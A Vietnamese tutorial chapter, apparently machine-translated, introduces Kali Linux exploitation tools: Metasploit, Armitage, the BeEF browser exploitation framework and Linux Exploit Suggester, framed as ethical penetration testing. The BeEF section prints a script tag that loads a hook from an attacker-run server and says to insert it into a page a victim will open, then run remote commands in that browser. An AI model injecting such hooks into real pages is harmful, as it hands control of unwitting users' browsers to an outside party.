Kali Linux - Công cụ khai thác
Trong chương này, chúng ta sẽ tìm hiểu về các công cụ khai thác khác nhau được cung cấp bởi Kali Linux.
Metasploit
Như chúng tôi đã đề cập trước đây, Metasploit là một sản phẩm của Rapid7 và hầu hết các tài nguyên có thể được tìm thấy trên trang web của họ www.metasploit.com . Nó có sẵn trong hai phiên bản - phiên bản thương mại và phiên bản miễn phí. Do đó, sự khác biệt giữa hai phiên bản này là không nhiều, trong trường hợp này chúng tôi sẽ sử dụng phiên bản Cộng đồng (miễn phí).
Là một Hacker có đạo đức, bạn sẽ sử dụng “Kali Ditribution” được nhúng phiên bản cộng đồng Metasploit, cùng với các công cụ hack có đạo đức khác, rất thoải mái bằng cách tiết kiệm thời gian cài đặt. Tuy nhiên, nếu bạn muốn cài đặt như một công cụ riêng biệt, nó là một ứng dụng có thể được cài đặt trong các hệ điều hành như Linux, Windows và OS X.
Đầu tiên, hãy mở Metasploit Console trong Kali. Sau đó, đi tới Ứng dụng → Công cụ khai thác → Metasploit.
Sau khi khởi động, bạn sẽ thấy màn hình sau, nơi phiên bản Metasploit được gạch chân màu đỏ.
Trong bảng điều khiển, nếu bạn sử dụng trợ giúp hoặc? biểu tượng, nó sẽ hiển thị cho bạn một danh sách với các lệnh của MSP cùng với mô tả của chúng. Bạn có thể chọn dựa trên nhu cầu của mình và những gì bạn sẽ sử dụng.
Một lệnh quản trị quan trọng khác là msfupdategiúp cập nhật metasploit với các cách khai thác lỗ hổng bảo mật mới nhất. Sau khi chạy lệnh này trong bảng điều khiển, bạn sẽ phải đợi vài phút cho đến khi quá trình cập nhật hoàn tất.
Nó có một lệnh hay được gọi là “Tìm kiếm” mà bạn có thể sử dụng để tìm những gì bạn muốn như được hiển thị trong ảnh chụp màn hình sau. Ví dụ: tôi muốn tìm các khai thác liên quan đến Microsoft và lệnh có thểmsf >search name:Microsoft type:exploit.
Trong đó “search” là lệnh, “name” là tên của đối tượng mà chúng ta đang tìm kiếm và “type” là loại script chúng ta đang tìm kiếm.
Một lệnh khác là "thông tin". Nó cung cấp thông tin liên quan đến mô-đun hoặc nền tảng mà nó được sử dụng, tác giả là ai, tham chiếu về lỗ hổng bảo mật và giới hạn tải trọng mà điều này có thể có.
Armitage
Armitage GUI cho metasploit là một công cụ bổ sung cho metasploit. Nó hiển thị các mục tiêu, đề xuất khai thác và hiển thị các tính năng nâng cao sau khai thác.
Hãy mở nó, nhưng trước tiên phải mở và khởi động bảng điều khiển metasploit. Để mở Armitage, đi tới Ứng dụng → Công cụ khai thác → Armitage.
Nhấn vào Connect , như được hiển thị trong ảnh chụp màn hình sau.
Khi nó mở ra, bạn sẽ thấy màn hình sau.
Armitage thân thiện với người dùng. Khu vực "Mục tiêu" liệt kê tất cả các máy mà bạn đã phát hiện và bạn đang làm việc, các mục tiêu bị tấn công có màu đỏ với một cơn bão trên đó.
Sau khi hack mục tiêu, bạn có thể nhấp chuột phải vào nó và tiếp tục khám phá những gì bạn cần làm như khám phá (duyệt) các thư mục.
Trong GUI sau, bạn sẽ thấy giao diện cho các thư mục, được gọi là giao diện điều khiển. Chỉ bằng cách nhấp vào các thư mục, bạn có thể điều hướng qua các thư mục mà không cần lệnh metasploit.
Ở phía bên phải của GUI, là phần liệt kê các mô-đun của các lỗ hổng.
Thịt bò
BeEF là viết tắt của Browser Exploitation Framework. Nó là một công cụ kiểm tra thâm nhập tập trung vào trình duyệt web. BeEF cho phép người kiểm tra thâm nhập chuyên nghiệp đánh giá tình trạng bảo mật thực tế của môi trường mục tiêu bằng cách sử dụng các vectơ tấn công phía máy khách.
Đầu tiên, bạn phải cập nhật gói Kali bằng các lệnh sau:
root@kali:/# apt-get update
root@kali:/# apt-get install beef-xss
Để bắt đầu, hãy sử dụng lệnh sau:
root@kali:/# cd /usr/share/beef-xss
root@kali:/# ./beef
Mở trình duyệt và nhập tên người dùng và mật khẩu: beef.
BeEF hook là một tệp JavaScript được lưu trữ trên máy chủ BeEF cần chạy trên các trình duyệt máy khách. Khi thực hiện, nó sẽ gọi lại máy chủ BeEF truyền đạt nhiều thông tin về mục tiêu. Nó cũng cho phép các lệnh và mô-đun bổ sung được chạy chống lại mục tiêu. Trong ví dụ này, vị trí củaBeEF móc ở http://192.168.1.101:3000/hook.js.
Để tấn công trình duyệt, hãy đưa JavaScript hook vào một trang mà khách hàng sẽ xem. Có một số cách để làm điều đó, tuy nhiên cách dễ nhất là chèn phần sau vào một trang và bằng cách nào đó khiến khách hàng mở nó.
<script src = "http://192.168.1.101:3000/hook.js" type = "text/javascript"></script>
Khi trang tải xong, hãy quay lại Bảng điều khiển BeEF và nhấp vào “Trình duyệt trực tuyến” ở trên cùng bên trái. Sau vài giây, bạn sẽ thấy cửa sổ bật lên địa chỉ IP của mình đại diện cho một trình duyệt được kết nối. Di chuột qua IP sẽ nhanh chóng cung cấp thông tin như phiên bản trình duyệt, hệ điều hành và những plugin nào được cài đặt.
Để chạy lệnh từ xa, hãy nhấp vào máy chủ lưu trữ "Được sở hữu". Sau đó, trên lệnh nhấp vào mô-đun mà bạn muốn thực thi, và cuối cùng nhấp vào “Thực thi”.
Đề xuất khai thác Linux
Nó gợi ý các cách khai thác có thể xảy ra với phiên bản phát hành ‘uname -r’ của Hệ điều hành Linux.
Để chạy nó, hãy gõ lệnh sau:
root@kali:/usr/share/linux-exploit-suggester# ./Linux_Exploit_Suggester.pl -k 3.0.0
3.0.0 là phiên bản hạt nhân của Hệ điều hành Linux mà chúng tôi muốn khai thác.